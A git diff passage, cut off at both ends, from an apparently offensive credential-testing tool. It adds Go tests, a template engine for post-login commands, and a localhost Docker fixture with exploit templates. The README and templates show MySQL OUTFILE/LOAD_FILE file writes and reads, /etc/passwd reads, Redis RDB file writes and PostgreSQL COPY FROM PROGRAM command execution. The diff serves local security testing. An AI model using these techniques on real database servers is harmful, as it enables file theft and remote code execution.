t.Fatalf("execute: %v", err) + } + if result == nil { + t.Fatal("expected result") + } + if !result.Matched { + t.Error("expected match on 'root'") + } + if len(result.ExtractsByName()["user"]) == 0 { + t.Error("expected extraction of user") + } else if result.ExtractsByName()["user"][0] != "root" { + t.Errorf("expected extracted user='root', got %q", result.ExtractsByName()["user"][0]) + } +} + +func TestExecuteKV(t *testing.T) { + session := &mockKVSession{ + svc: "redis", + data: map[string]string{"password_key": "s3cret"}, + cmds: map[string]string{ + "CONFIG GET dir": "dir\n/var/lib/redis", + }, + } + + yamlData := ` +ops: + - kv: "CONFIG GET dir" + name: dir +matchers: + - type: word + part: dir + words: ["/var"] +extractors: + - type: regex + name: redis_dir + part: dir + regex: ['dir\s+(.+)'] + group: 1 +` + var req Request + if err := yaml.Unmarshal([]byte(yamlData), &req); err != nil { + t.Fatalf("unmarshal: %v", err) + } + if err := req.Compile(&protocols.ExecuterOptions{Options: &protocols.Options{}}); err != nil { + t.Fatalf("compile: %v", err) + } + + payloads := map[string]interface{}{"_session": session} + scanCtx := protocols.NewScanContext("10.0.0.1:6379", payloads) + + var result *operators.Result + err := req.ExecuteWithResults(scanCtx, nil, nil, func(event *protocols.InternalWrappedEvent) { + if event.OperatorsResult != nil { + result = event.OperatorsResult + } + }) + if err != nil { + t.Fatalf("execute: %v", err) + } + if result == nil { + t.Fatal("expected result") + } + if !result.Matched { + t.Error("expected match on '/var'") + } + if len(result.ExtractsByName()["redis_dir"]) == 0 { + t.Error("expected extraction of redis_dir") + } else if result.ExtractsByName()["redis_dir"][0] != "/var/lib/redis" { + t.Errorf("expected '/var/lib/redis', got %q", result.ExtractsByName()["redis_dir"][0]) + } +} + +func TestExecuteKVQuotedValue(t *testing.T) { + session := &mockKVSession{ + svc: "redis", + cmds: map[string]string{ + "SET x ": "OK", + }, + } + + out, err := execKV(session, `SET x ""`) + if err != nil { + t.Fatalf("execKV: %v", err) + } + if out != "OK" { + t.Fatalf("expected OK, got %q", out) + } +} + +func TestParseCommandFieldsEscapes(t *testing.T) { + fields, err := parseCommandFields(`SET x "\nline two\n"`) + if err != nil { + t.Fatalf("parseCommandFields: %v", err) + } + if len(fields) != 3 { + t.Fatalf("expected 3 fields, got %d: %#v", len(fields), fields) + } + if fields[2] != "\nline two\n" { + t.Fatalf("unexpected escaped payload: %#v", fields[2]) + } +} + +func TestFormatCommandResultArray(t *testing.T) { + out := formatCommandResult([]interface{}{"dir", "/var/www"}) + if out != "dir\n/var/www" { + t.Fatalf("unexpected formatted result: %q", out) + } +} + +func TestExecuteKVGetKeys(t *testing.T) { + session := &mockKVSession{ + svc: "redis", + data: map[string]string{"secret": "val1", "password": "val2"}, + } + + yamlData := ` +ops: + - kv: "GET secret" + name: secret_val + - kv: "KEYS *" + name: all_keys +matchers: + - type: word + part: secret_val + words: ["val1"] +` + var req Request + if err := yaml.Unmarshal([]byte(yamlData), &req); err != nil { + t.Fatalf("unmarshal: %v", err) + } + if err := req.Compile(&protocols.ExecuterOptions{Options: &protocols.Options{}}); err != nil { + t.Fatalf("compile: %v", err) + } + + payloads := map[string]interface{}{"_session": session} + scanCtx := protocols.NewScanContext("10.0.0.1:6379", payloads) + + var result *operators.Result + err := req.ExecuteWithResults(scanCtx, nil, nil, func(event *protocols.InternalWrappedEvent) { + if event.OperatorsResult != nil { + result = event.OperatorsResult + } + }) + if err != nil { + t.Fatalf("execute: %v", err) + } + if result == nil || !result.Matched { + t.Error("expected match on 'val1'") + } +} + +func TestTemplateMultiBlock(t *testing.T) { + session := &mockKVSession{ + svc: "redis", + data: map[string]string{}, + cmds: map[string]string{ + "CONFIG GET dir": "dir\n/var/lib/redis", + "CONFIG GET dbfilename": "dbfilename\ndump.rdb", + "CONFIG SET dir /tmp": "OK", + "CONFIG SET dbfilename test.rdb": "OK", + }, + } + + yamlData := ` +id: redis-multi-block +service: [redis] +info: + name: Redis Multi Block Test + severity: info + +services: + - ops: + - kv: "CONFIG GET dir" + name: dir + extractors: + - type: regex + name: orig_dir + internal: true + part: dir + regex: ['dir\s+(.+)'] + group: 1 + + - ops: + - kv: "CONFIG SET dir /tmp" + matchers: + - type: word + words: ["OK"] +` + var tmpl Template + if err := yaml.Unmarshal([]byte(yamlData), &tmpl); err != nil { + t.Fatalf("unmarshal: %v", err) + } + if err := tmpl.Compile(nil); err != nil { + t.Fatalf("compile: %v", err) + } + if !tmpl.Match("redis") { + t.Fatal("expected match on redis") + } + if tmpl.Match("mysql") { + t.Fatal("expected no match on mysql") + } + + result, err := tmpl.Execute(session, "10.0.0.1:6379") + if err != nil { + t.Fatalf("execute: %v", err) + } + if result == nil || !result.Matched { + t.Error("expected matched result from second block") + } +} + +func TestTemplateVariablesAndCLIOverride(t *testing.T) { + session := &mockShellSession{ + svc: "ssh", + outputs: map[string]string{ + "id": "uid=1000(zombie)", + "whoami": "root", + }, + } + + yamlData := ` +id: variable-template +service: [ssh] +variables: + cmd: whoami +services: + - ops: + - shell: "{{cmd}}" + name: command_output + matchers: + - type: word + part: command_output + words: ["zombie"] +` + var tmpl Template + if err := yaml.Unmarshal([]byte(yamlData), &tmpl); err != nil { + t.Fatalf("unmarshal: %v", err) + } + if err := tmpl.Compile(nil); err != nil { + t.Fatalf("compile: %v", err) + } + + result, err := tmpl.ExecuteWithVariables(session, "127.0.0.1:22", map[string]interface{}{"cmd": "id"}) + if err != nil { + t.Fatalf("execute: %v", err) + } + if result == nil || !result.Matched { + t.Fatal("expected CLI variable override to match id output") + } +} + +func TestTemplatePayloadsClusterbomb(t *testing.T) { + session := &mockKVSession{ + svc: "redis", + data: map[string]string{}, + } + + yamlData := ` +id: payload-template +service: [redis] +services: + - attack: clusterbomb + payloads: + key: + - a + - b + value: + - "1" + - "2" + ops: + - kv: "SET §key§ {{value}}" + name: set_result + extractors: + - type: regex + name: set_ok + part: set_result + regex: ['(OK)'] + group: 1 +` + var tmpl Template + if err := yaml.Unmarshal([]byte(yamlData), &tmpl); err != nil { + t.Fatalf("unmarshal: %v", err) + } + if err := tmpl.Compile(nil); err != nil { + t.Fatalf("compile: %v", err) + } + + result, err := tmpl.Execute(session, "127.0.0.1:6379") + if err != nil { + t.Fatalf("execute: %v", err) + } + if result == nil || len(result.ExtractsByName()["set_ok"]) != 4 { + t.Fatalf("expected 4 payload executions, got result %#v", result) + } + if len(session.calls) != 4 { + t.Fatalf("expected 4 redis commands, got %d: %#v", len(session.calls), session.calls) + } + expected := map[string]struct{}{ + "SET a 1": {}, + "SET a 2": {}, + "SET b 1": {}, + "SET b 2": {}, + } + for _, call := range session.calls { + if _, ok := expected[call]; !ok { + t.Fatalf("unexpected call %q in %#v", call, session.calls) + } + } +} + +func TestTemplatePayloadCLIOverride(t *testing.T) { + session := &mockKVSession{ + svc: "redis", + data: map[string]string{}, + } + + yamlData := ` +id: payload-override-template +service: [redis] +services: + - attack: pitchfork + payloads: + key: + - a + - b + ops: + - kv: "SET §key§ 1" + name: set_result + extractors: + - type: regex + name: set_ok + part: set_result + regex: ['(OK)'] + group: 1 +` + var tmpl Template + if err := yaml.Unmarshal([]byte(yamlData), &tmpl); err != nil { + t.Fatalf("unmarshal: %v", err) + } + if err := tmpl.Compile(nil); err != nil { + t.Fatalf("compile: %v", err) + } + + result, err := tmpl.ExecuteWithVariables(session, "127.0.0.1:6379", map[string]interface{}{"key": "cli"}) + if err != nil { + t.Fatalf("execute: %v", err) + } + if result == nil || len(result.ExtractsByName()["set_ok"]) != 1 { + t.Fatalf("expected one overridden payload execution, got %#v", result) + } + if len(session.calls) != 1 || session.calls[0] != "SET cli 1" { + t.Fatalf("unexpected calls: %#v", session.calls) + } +} + +func TestTemplateExplicitPayloadCLIOverride(t *testing.T) { + session := &mockKVSession{ + svc: "redis", + data: map[string]string{}, + } + + yamlData := ` +id: payload-explicit-override-template +service: [redis] +services: + - attack: pitchfork + payloads: + key: + - a + - b + ops: + - kv: "SET §key§ 1" + name: set_result + extractors: + - type: regex + name: set_ok + part: set_result + regex: ['(OK)'] + group: 1 +` + var tmpl Template + if err := yaml.Unmarshal([]byte(yamlData), &tmpl); err != nil { + t.Fatalf("unmarshal: %v", err) + } + if err := tmpl.Compile(nil); err != nil { + t.Fatalf("compile: %v", err) + } + + result, err := tmpl.ExecuteWithOptions(session, "127.0.0.1:6379", nil, map[string]interface{}{ + "key": []string{"cli-a", "cli-b"}, + }) + if err != nil { + t.Fatalf("execute: %v", err) + } + if result == nil || len(result.ExtractsByName()["set_ok"]) != 2 { + t.Fatalf("expected two overridden payload executions, got %#v", result) + } + expected := []string{"SET cli-a 1", "SET cli-b 1"} + if len(session.calls) != len(expected) { + t.Fatalf("unexpected call count: %#v", session.calls) + } + for i, call := range expected { + if session.calls[i] != call { + t.Fatalf("unexpected calls: %#v", session.calls) + } + } +} + +func TestTemplateExplicitPayloadBeatsVarOverride(t *testing.T) { + session := &mockKVSession{ + svc: "redis", + data: map[string]string{}, + } + + yamlData := ` +id: payload-precedence-template +service: [redis] +services: + - attack: pitchfork + payloads: + key: + - a + ops: + - kv: "SET §key§ 1" + name: set_result +` + var tmpl Template + if err := yaml.Unmarshal([]byte(yamlData), &tmpl); err != nil { + t.Fatalf("unmarshal: %v", err) + } + if err := tmpl.Compile(nil); err != nil { + t.Fatalf("compile: %v", err) + } + + _, err := tmpl.ExecuteWithOptions( + session, + "127.0.0.1:6379", + map[string]interface{}{"key": "var-value"}, + map[string]interface{}{"key": []string{"payload-value"}}, + ) + if err != nil { + t.Fatalf("execute: %v", err) + } + if len(session.calls) != 1 || session.calls[0] != "SET payload-value 1" { + t.Fatalf("unexpected calls: %#v", session.calls) + } +} + +func TestTemplateExplicitPayloadCanDefinePayloadSet(t *testing.T) { + session := &mockKVSession{ + svc: "redis", + data: map[string]string{}, + } + + yamlData := ` +id: payload-cli-defined-template +service: [redis] +services: + - attack: pitchfork + ops: + - kv: "SET §key§ 1" + name: set_result + extractors: + - type: regex + name: set_ok + part: set_result + regex: ['(OK)'] + group: 1 +` + var tmpl Template + if err := yaml.Unmarshal([]byte(yamlData), &tmpl); err != nil { + t.Fatalf("unmarshal: %v", err) + } + if err := tmpl.Compile(nil); err != nil { + t.Fatalf("compile: %v", err) + } + + result, err := tmpl.ExecuteWithOptions(session, "127.0.0.1:6379", nil, map[string]interface{}{ + "key": []string{"cli-a", "cli-b"}, + }) + if err != nil { + t.Fatalf("execute: %v", err) + } + if result == nil || len(result.ExtractsByName()["set_ok"]) != 2 { + t.Fatalf("expected CLI-defined payload executions, got %#v", result) + } + expected := []string{"SET cli-a 1", "SET cli-b 1"} + if len(session.calls) != len(expected) { + t.Fatalf("unexpected call count: %#v", session.calls) + } + for i, call := range expected { + if session.calls[i] != call { + t.Fatalf("unexpected calls: %#v", session.calls) + } + } +} + +func TestResponsePreserved(t *testing.T) { + session := &mockShellSession{ + svc: "ssh", + outputs: map[string]string{"id": "uid=0(root)", "hostname": "box1"}, + } + + yamlData := ` +ops: + - shell: "id" + name: whoami + - shell: "hostname" + name: host +matchers: + - type: word + part: whoami + words: ["root"] +` + var req Request + if err := yaml.Unmarshal([]byte(yamlData), &req); err != nil { + t.Fatalf("unmarshal: %v", err) + } + if err := req.Compile(&protocols.ExecuterOptions{Options: &protocols.Options{}}); err != nil { + t.Fatalf("compile: %v", err) + } + + payloads := map[string]interface{}{"_session": session} + scanCtx := protocols.NewScanContext("10.0.0.1:22", payloads) + + var result *operators.Result + err := req.ExecuteWithResults(scanCtx, nil, nil, func(event *protocols.InternalWrappedEvent) { + if event.OperatorsResult != nil { + result = event.OperatorsResult + } + }) + if err != nil { + t.Fatalf("execute: %v", err) + } + if result == nil { + t.Fatal("expected result") + } + if result.Response == "" { + t.Fatal("Response should contain raw op output") + } + if !containsStr(result.Response, "uid=0(root)") { + t.Errorf("Response missing id output, got %q", result.Response) + } + if !containsStr(result.Response, "box1") { + t.Errorf("Response missing hostname output, got %q", result.Response) + } +} + +func TestResponsePreservedWithoutMatch(t *testing.T) { + session := &mockShellSession{ + svc: "ssh", + outputs: map[string]string{"echo hello": "hello"}, + } + + tmplYaml := ` +id: no-match-tmpl +service: [ssh] +info: + name: No Match + severity: info +services: + - ops: + - shell: "echo hello" + name: greeting + matchers: + - type: word + part: greeting + words: ["NOMATCH"] +` + var tmpl Template + if err := yaml.Unmarshal([]byte(tmplYaml), &tmpl); err != nil { + t.Fatalf("unmarshal: %v", err) + } + if err := tmpl.Compile(&protocols.ExecuterOptions{Options: &protocols.Options{}}); err != nil { + t.Fatalf("compile: %v", err) + } + + result, err := tmpl.Execute(session, "10.0.0.1:22") + if err != nil { + t.Fatalf("execute: %v", err) + } + if result.Response == "" { + t.Fatal("Response should be populated even when matchers don't match") + } + if !containsStr(result.Response, "hello") { + t.Errorf("Response missing op output, got %q", result.Response) + } +} + +func containsStr(s, sub string) bool { + return len(s) >= len(sub) && (s == sub || len(s) > 0 && findSubstr(s, sub)) +} + +func findSubstr(s, sub string) bool { + for i := 0; i <= len(s)-len(sub); i++ { + if s[i:i+len(sub)] == sub { + return true + } + } + return false +} + +func TestLegacyOpsCompat(t *testing.T) { + session := &mockShellSession{ + svc: "ssh", + outputs: map[string]string{"id": "uid=0(root)"}, + } + + yamlData := ` +ops: + - exec: "id" + name: whoami +matchers: + - type: word + part: whoami + words: ["root"] +` + var req Request + if err := yaml.Unmarshal([]byte(yamlData), &req); err != nil { + t.Fatalf("unmarshal: %v", err) + } + if err := req.Compile(&protocols.ExecuterOptions{Options: &protocols.Options{}}); err != nil { + t.Fatalf("compile: %v", err) + } + + payloads := map[string]interface{}{"_session": session} + scanCtx := protocols.NewScanContext("10.0.0.1:22", payloads) + + var result *operators.Result + err := req.ExecuteWithResults(scanCtx, nil, nil, func(event *protocols.InternalWrappedEvent) { + if event.OperatorsResult != nil { + result = event.OperatorsResult + } + }) + if err != nil { + t.Fatalf("execute: %v", err) + } + if result == nil || !result.Matched { + t.Error("legacy exec: field should still work via normalizeOp") + } +} diff --git a/service/template.go b/service/template.go new file mode 100644 index 0000000..3886773 --- /dev/null +++ b/service/template.go @@ -0,0 +1,248 @@ +package service + +import ( + "fmt" + "net" + "strings" + + "github.com/chainreactors/neutron/common" + "github.com/chainreactors/neutron/operators" + "github.com/chainreactors/neutron/protocols" + "github.com/chainreactors/neutron/protocols/http" + "github.com/chainreactors/neutron/protocols/network" + "github.com/chainreactors/zombie/pkg" +) + +type Info struct { + Name string `json:"name" yaml:"name"` + Severity string `json:"severity" yaml:"severity"` + Description string `json:"description,omitempty" yaml:"description,omitempty"` + Tags string `json:"tags,omitempty" yaml:"tags,omitempty"` + Risk string `json:"risk,omitempty" yaml:"risk,omitempty"` // safe / dangerous / critical +} + +type Template struct { + Id string `json:"id" yaml:"id"` + Service []string `json:"service" yaml:"service"` + Chains []string `json:"chain,omitempty" yaml:"chain,omitempty"` + Variables map[string]interface{} `json:"variables,omitempty" yaml:"variables,omitempty"` + Info Info `json:"info" yaml:"info"` + + RequestsService []*Request `json:"services,omitempty" yaml:"services,omitempty"` + RequestsHTTP []*http.Request `json:"http,omitempty" yaml:"http,omitempty"` + RequestsNetwork []*network.Request `json:"network,omitempty" yaml:"network,omitempty"` + + TotalRequests int `json:"-" yaml:"-"` + allRequests []protocols.Request `json:"-" yaml:"-"` +} + +func (t *Template) Match(serviceName string) bool { + if len(t.Service) == 0 { + return true + } + for _, s := range t.Service { + if strings.EqualFold(s, serviceName) { + return true + } + } + return false +} + +func (t *Template) HasTag(tag string) bool { + if t.Info.Tags == "" { + return false + } + for _, t := range strings.Split(t.Info.Tags, ",") { + if strings.TrimSpace(t) == tag { + return true + } + } + return false +} + +var riskLevels = map[string]int{"safe": 0, "dangerous": 1, "critical": 2} + +func (t *Template) RiskAllowed(maxRisk string) bool { + if maxRisk == "" || t.Info.Risk == "" { + return true + } + max, ok1 := riskLevels[maxRisk] + cur, ok2 := riskLevels[t.Info.Risk] + if !ok1 || !ok2 { + return true + } + return cur <= max +} + +func (t *Template) Compile(options *protocols.ExecuterOptions) error { + if options == nil { + options = &protocols.ExecuterOptions{Options: &protocols.Options{}} + } + + t.allRequests = nil + + for _, req := range t.RequestsService { + if len(req.Payloads) > 0 { + attack := req.AttackType + if attack == "" { + attack = "pitchfork" + } + if _, ok := protocols.StringToType[strings.ToLower(attack)]; !ok { + return fmt.Errorf("unsupported attack type %q in template %s", attack, t.Id) + } + } + if err := req.Compile(options); err != nil { + return err + } + t.allRequests = append(t.allRequests, req) + } + + for _, req := range t.RequestsHTTP { + if err := req.Compile(options); err != nil { + return err + } + t.allRequests = append(t.allRequests, req) + } + for _, req := range t.RequestsNetwork { + if err := req.Compile(options); err != nil { + return err + } + t.allRequests = append(t.allRequests, req) + } + + if len(t.allRequests) == 0 { + return fmt.Errorf("no requests defined in template %s", t.Id) + } + t.TotalRequests = 0 + for _, req := range t.allRequests { + t.TotalRequests += req.Requests() + } + return nil +} + +func (t *Template) Execute(session pkg.Session, host string) (*operators.Result, error) { + return t.ExecuteWithOptions(session, host, nil, nil) +} + +func (t *Template) ExecuteWithVariables(session pkg.Session, host string, cliVars map[string]interface{}) (*operators.Result, error) { + return t.ExecuteWithOptions(session, host, cliVars, nil) +} + +func (t *Template) ExecuteWithOptions(session pkg.Session, host string, cliVars, cliPayloads map[string]interface{}) (*operators.Result, error) { + if !t.Match(session.Service()) { + return nil, nil + } + + payloads := map[string]interface{}{ + "_session": session, + "_service_cli_vars": cliVars, + "_service_cli_payloads": cliPayloads, + } + scanCtx := protocols.NewScanContext(host, payloads) + scanCtx.GlobalVars = t.executionVariables(host, cliVars) + + var merged *operators.Result + var allRawResponses strings.Builder + previous := make(map[string]interface{}) + dynamicValues := copyMap(scanCtx.GlobalVars) + for k, v := range scanCtx.Payloads { + dynamicValues[k] = v + } + requestIndexOffset := 0 + + for _, req := range t.allRequests { + dynamicValues["__request_index_offset"] = requestIndexOffset + err := req.ExecuteWithResults(scanCtx, dynamicValues, previous, func(event *protocols.InternalWrappedEvent) { + if event.OperatorsResult == nil { + return + } + if event.OperatorsResult.Response != "" { + if allRawResponses.Len() > 0 { + allRawResponses.WriteString("\n") + } + allRawResponses.WriteString(event.OperatorsResult.Response) + } + for k, v := range event.OperatorsResult.DynamicValues { + if s, ok := v.([]string); ok && len(s) > 0 { + dynamicValues[k] = s[0] + } else if v != nil { + dynamicValues[k] = v + } + } + if !event.OperatorsResult.Matched && !event.OperatorsResult.Extracted { + return + } + if merged == nil { + merged = event.OperatorsResult + } else { + mergeResult(merged, event.OperatorsResult) + } + }) + if err != nil { + return nil, err + } + requestIndexOffset += req.Requests() + } + + if merged == nil { + merged = &operators.Result{} + } + merged.Response = allRawResponses.String() + return merged, nil +} + +func mergeResult(dst, src *operators.Result) { + if src.Matched { + dst.Matched = true + } + if src.Extracted { + dst.Extracted = true + } + dst.Events = append(dst.Events, src.Events...) +} + +func (t *Template) executionVariables(host string, cliVars map[string]interface{}) map[string]interface{} { + vars := serviceTargetVariables(host) + for k, v := range t.Variables { + vars[k] = v + } + for k, v := range cliVars { + vars[k] = v + } + evaluated := make(map[string]interface{}, len(vars)) + for k, v := range vars { + value := common.ToString(v) + if strings.Contains(value, "{{") { + if got, err := common.Evaluate(value, vars); err == nil { + evaluated[k] = got + continue + } + } + evaluated[k] = v + } + return evaluated +} + +func serviceTargetVariables(host string) map[string]interface{} { + vars := map[string]interface{}{ + "Hostname": host, + "host": host, + } + if h, p, err := net.SplitHostPort(host); err == nil { + vars["Host"] = h + vars["Port"] = p + vars["hostname"] = host + return vars + } + vars["Host"] = host + return vars +} + +func copyMap(values map[string]interface{}) map[string]interface{} { + copied := make(map[string]interface{}, len(values)) + for k, v := range values { + copied[k] = v + } + return copied +} + diff --git a/templates b/templates index 7d5675c..73d28d7 160000 --- a/templates +++ b/templates @@ -1 +1 @@ -Subproject commit 7d5675ccab5a4923f23f18fa0d8005e679197797 +Subproject commit 73d28d738ad5f76218ec239dce18fca2cc5a661d diff --git a/testdata/service-template/.gitignore b/testdata/service-template/.gitignore new file mode 100644 index 0000000..89f9ac0 --- /dev/null +++ b/testdata/service-template/.gitignore @@ -0,0 +1 @@ +out/ diff --git a/testdata/service-template/README.md b/testdata/service-template/README.md new file mode 100644 index 0000000..1b94074 --- /dev/null +++ b/testdata/service-template/README.md @@ -0,0 +1,95 @@ +# Local Service-Template Docker Tests + +This fixture starts minimal Redis, PostgreSQL, MySQL, and SSH services on +localhost-only high ports and runs zombie service templates after a successful +login. + +Ports: + +- Redis: `127.0.0.1:16379`, password `zombie_redis_pass` +- PostgreSQL: `127.0.0.1:15432`, `zombie:zombie_pg_pass` +- MySQL: `127.0.0.1:13306`, `zombie:zombie_mysql_pass` +- SSH: `127.0.0.1:10022`, `zombie:zombie_ssh_pass` (built from `./ssh`) + +Run from the repository root: + +```bash +go test -tags docker ./integration -run TestServiceTemplateDocker -count=1 +``` + +By default the `Existing` scope loads real templates from +`../proton/templates/services`. Override this checkout layout with: + +```bash +ZOMBIE_SERVICE_TEMPLATES_DIR=/path/to/proton/templates/services go test -tags docker ./integration -run TestServiceTemplateDocker/Existing -count=1 +``` + +Run a focused scope: + +```bash +go test -tags docker ./integration -run TestServiceTemplateDocker/Smoke -count=1 +go test -tags docker ./integration -run TestServiceTemplateDocker/Payload -count=1 +go test -tags docker ./integration -run TestServiceTemplateDocker/PostExploit -count=1 +go test -tags docker ./integration -run TestServiceTemplateDocker/Existing -count=1 +go test -tags docker ./integration -run TestServiceTemplateDocker/Exploit -count=1 +``` + +The Docker integration test cleans the fixture with `docker compose down -v` +after the run. Manual cleanup: + +```bash +docker compose -f ./testdata/service-template/compose.yaml down -v +``` + +The Redis fixture enables protected config changes so Redis file-write +templates can be reproduced locally. Keep it bound to localhost-only ports. + +Template layout: + +- `templates/smoke`: baseline post-auth execution checks. +- `templates/payload`: command-line `--payload` behavior checks. +- `templates/post-exploit`: Docker-only post-exploit capability checks. +- `templates/exploit`: Docker-only high-risk exploit reproductions. + +Exploit templates use Nuclei-style `variables`, and CLI overrides use +Nuclei-compatible `-V/--var key=value`. Request-level payloads can be supplied +or overridden with repeated `--payload key=value` flags: + +```bash +go run . -i mysql://root:zombie_mysql_root@127.0.0.1:13306 --no-honeypot --no-unauth --service-template ./testdata/service-template/templates/exploit/mysql-outfile-local.yaml -V outfile_path=/tmp/zombie_mysql_custom.txt -V outfile_marker=zombie-custom-ok +go run . -i redis://:zombie_redis_pass@127.0.0.1:16379 --no-honeypot --no-unauth --service-template ./testdata/service-template/templates/payload/redis-payload-cli.yaml --payload payload_key=zombie:payload:cli-a --payload payload_key=zombie:payload:cli-b +``` + +Service templates also support request-level `payloads` plus `attack` +(`sniper`, `pitchfork`, `clusterbomb`) and both `{{name}}` and `§name§` +placeholders. If `-V` and `--payload` use the same key, `--payload` wins for +payload iteration. + +The existing-template smoke currently covers these existing templates from +`../proton/templates/services`: + +- `redis/redis-info-gather.yaml` +- `redis/redis-config-check.yaml` +- `redis/redis-sensitive-keys.yaml` +- `redis/redis-mdut-rogue-prereq-check.yaml` +- `postgresql/postgresql-info-gather.yaml` +- `postgresql/postgresql-mdut-capability-check.yaml` +- `mysql/mysql-info-gather.yaml` +- `mysql/mysql-credential-columns.yaml` +- `mysql/mysql-user-enum.yaml` +- `mysql/mysql-udf-check.yaml` +- `mysql/mysql-mdut-capability-check.yaml` +- `ssh/ssh-info-gather.yaml` +- `ssh/ssh-env-files.yaml` +- `ssh/ssh-credential-files.yaml` +- `ssh/ssh-docker-escape.yaml` + +The local post-exploit smoke currently covers these capability paths: + +- Redis: sensitive key/value read, token key discovery, RDB-backed file write. +- MySQL: application credential table read, `/etc/passwd` read through + `LOAD_FILE`, `SELECT ... INTO OUTFILE` write. +- PostgreSQL: `/etc/passwd` read through `pg_read_file`, `COPY FROM PROGRAM` + command execution and file write. +- SSH: command execution, remote file write/read, `.env` secret read, credential + file path discovery. diff --git a/testdata/service-template/compose.yaml b/testdata/service-template/compose.yaml new file mode 100644 index 0000000..6ea103b --- /dev/null +++ b/testdata/service-template/compose.yaml @@ -0,0 +1,82 @@ +name: zombie-service-template + +services: + redis: + image: redis:7-alpine + command: + - sh + - -c + - mkdir -p /var/www/html && chmod 777 /var/www/html && exec redis-server --requirepass zombie_redis_pass --dir /var/www --save "" --appendonly no --enable-protected-configs yes + ports: + - "127.0.0.1:16379:6379" + healthcheck: + test: ["CMD", "redis-cli", "-a", "zombie_redis_pass", "PING"] + interval: 2s + timeout: 2s + retries: 30 + + redis-init: + image: redis:7-alpine + depends_on: + redis: + condition: service_healthy + command: + - sh + - -c + - | + redis-cli -h redis -a zombie_redis_pass SET zombie:template zombie-template-ok && + redis-cli -h redis -a zombie_redis_pass SET app:password zombie-secret-pass && + redis-cli -h redis -a zombie_redis_pass SET api:token zombie-token && + redis-cli -h redis -a zombie_redis_pass SET service:credential zombie-credential + restart: "no" + + postgres: + image: postgres:16-alpine + environment: + POSTGRES_DB: postgres + POSTGRES_USER: zombie + POSTGRES_PASSWORD: zombie_pg_pass + ports: + - "127.0.0.1:15432:5432" + volumes: + - ./postgres/init:/docker-entrypoint-initdb.d:ro + healthcheck: + test: ["CMD-SHELL", "pg_isready -U zombie -d postgres"] + interval: 2s + timeout: 2s + retries: 30 + + mysql: + image: mysql:8.0 + command: + - mysqld + - --default-authentication-plugin=mysql_native_password + - --character-set-server=utf8mb4 + - --collation-server=utf8mb4_unicode_ci + - --secure-file-priv= + environment: + MYSQL_ROOT_PASSWORD: zombie_mysql_root + MYSQL_DATABASE: zombie + MYSQL_USER: zombie + MYSQL_PASSWORD: zombie_mysql_pass + ports: + - "127.0.0.1:13306:3306" + volumes: + - ./mysql/init:/docker-entrypoint-initdb.d:ro + healthcheck: + test: ["CMD-SHELL", "mysqladmin ping -h 127.0.0.1 -uroot -p$${MYSQL_ROOT_PASSWORD} --silent"] + interval: 2s + timeout: 2s + retries: 40 + + ssh: + build: + context: ./ssh + image: zombie-service-template-ssh:local + ports: + - "127.0.0.1:10022:22" + healthcheck: + test: ["CMD-SHELL", "nc -z 127.0.0.1 22"] + interval: 2s + timeout: 2s + retries: 30 diff --git a/testdata/service-template/mysql/init/001-init.sql b/testdata/service-template/mysql/init/001-init.sql new file mode 100644 index 0000000..7aff8f6 --- /dev/null +++ b/testdata/service-template/mysql/init/001-init.sql @@ -0,0 +1,18 @@ +USE zombie; + +CREATE TABLE smoke ( + id INT PRIMARY KEY, + marker VARCHAR(64) NOT NULL +); + +INSERT INTO smoke (id, marker) VALUES (1, 'zombie-mysql-ok'); + +CREATE TABLE app_credentials ( + id INT PRIMARY KEY, + username VARCHAR(64) NOT NULL, + password_hash VARCHAR(128) NOT NULL, + api_token VARCHAR(128) NOT NULL +); + +INSERT INTO app_credentials (id, username, password_hash, api_token) +VALUES (1, 'demo', 'hash', 'token'); diff --git a/testdata/service-template/postgres/init/001-init.sql b/testdata/service-template/postgres/init/001-init.sql new file mode 100644 index 0000000..8a64788 --- /dev/null +++ b/testdata/service-template/postgres/init/001-init.sql @@ -0,0 +1,6 @@ +CREATE TABLE smoke ( + id integer PRIMARY KEY, + marker text NOT NULL +); + +INSERT INTO smoke (id, marker) VALUES (1, 'zombie-postgres-ok'); diff --git a/testdata/service-template/ssh/Dockerfile b/testdata/service-template/ssh/Dockerfile new file mode 100644 index 0000000..22365dc --- /dev/null +++ b/testdata/service-template/ssh/Dockerfile @@ -0,0 +1,13 @@ +FROM alpine:3.20 + +RUN apk add --no-cache openssh-server \ + && adduser -D -s /bin/sh zombie \ + && echo "zombie:zombie_ssh_pass" | chpasswd \ + && mkdir -p /run/sshd \ + && printf "\nPasswordAuthentication yes\nPermitRootLogin no\nUsePAM no\n" >> /etc/ssh/sshd_config + +COPY entrypoint.sh /entrypoint.sh +RUN chmod +x /entrypoint.sh + +EXPOSE 22 +CMD ["/entrypoint.sh"] diff --git a/testdata/service-template/ssh/entrypoint.sh b/testdata/service-template/ssh/entrypoint.sh new file mode 100644 index 0000000..3d98dbe --- /dev/null +++ b/testdata/service-template/ssh/entrypoint.sh @@ -0,0 +1,5 @@ +#!/bin/sh +set -eu + +ssh-keygen -A >/dev/null +exec /usr/sbin/sshd -D -e diff --git a/testdata/service-template/templates/exploit/mysql-outfile-local.yaml b/testdata/service-template/templates/exploit/mysql-outfile-local.yaml new file mode 100644 index 0000000..92e6c0a --- /dev/null +++ b/testdata/service-template/templates/exploit/mysql-outfile-local.yaml @@ -0,0 +1,26 @@ +id: local-mysql-outfile-write +service: [mysql] +variables: + outfile_path: /tmp/zombie_mysql_outfile.txt + outfile_marker: zombie-mysql-outfile-ok +info: + name: Local MySQL OUTFILE Write and LOAD_FILE Read Reproduction + severity: critical + tags: local,docker,mysql,exploit,file-write,file-read + +services: + - ops: + - db: "SELECT '{{outfile_marker}}' INTO OUTFILE '{{outfile_path}}'" + name: write_file + - db: "SELECT CONCAT('outfile=', LOAD_FILE('{{outfile_path}}'))" + name: read_file + matchers: + - type: word + part: read_file + words: ["outfile="] + extractors: + - type: regex + name: mysql_outfile_content + part: read_file + regex: ['(?m)^outfile=(.+)$'] + group: 1 diff --git a/testdata/service-template/templates/exploit/postgres-copy-program-local.yaml b/testdata/service-template/templates/exploit/postgres-copy-program-local.yaml new file mode 100644 index 0000000..398390d --- /dev/null +++ b/testdata/service-template/templates/exploit/postgres-copy-program-local.yaml @@ -0,0 +1,28 @@ +id: local-postgres-copy-program +service: [postgresql] +variables: + cmd: id + pg_output_path: /tmp/zombie_pg_cmd.txt +info: + name: Local PostgreSQL COPY FROM PROGRAM Command Execution Reproduction + severity: critical + tags: local,docker,postgresql,exploit,rce + +services: + - ops: + - db: "DROP TABLE IF EXISTS zombie_cmd_exec" + - db: "CREATE 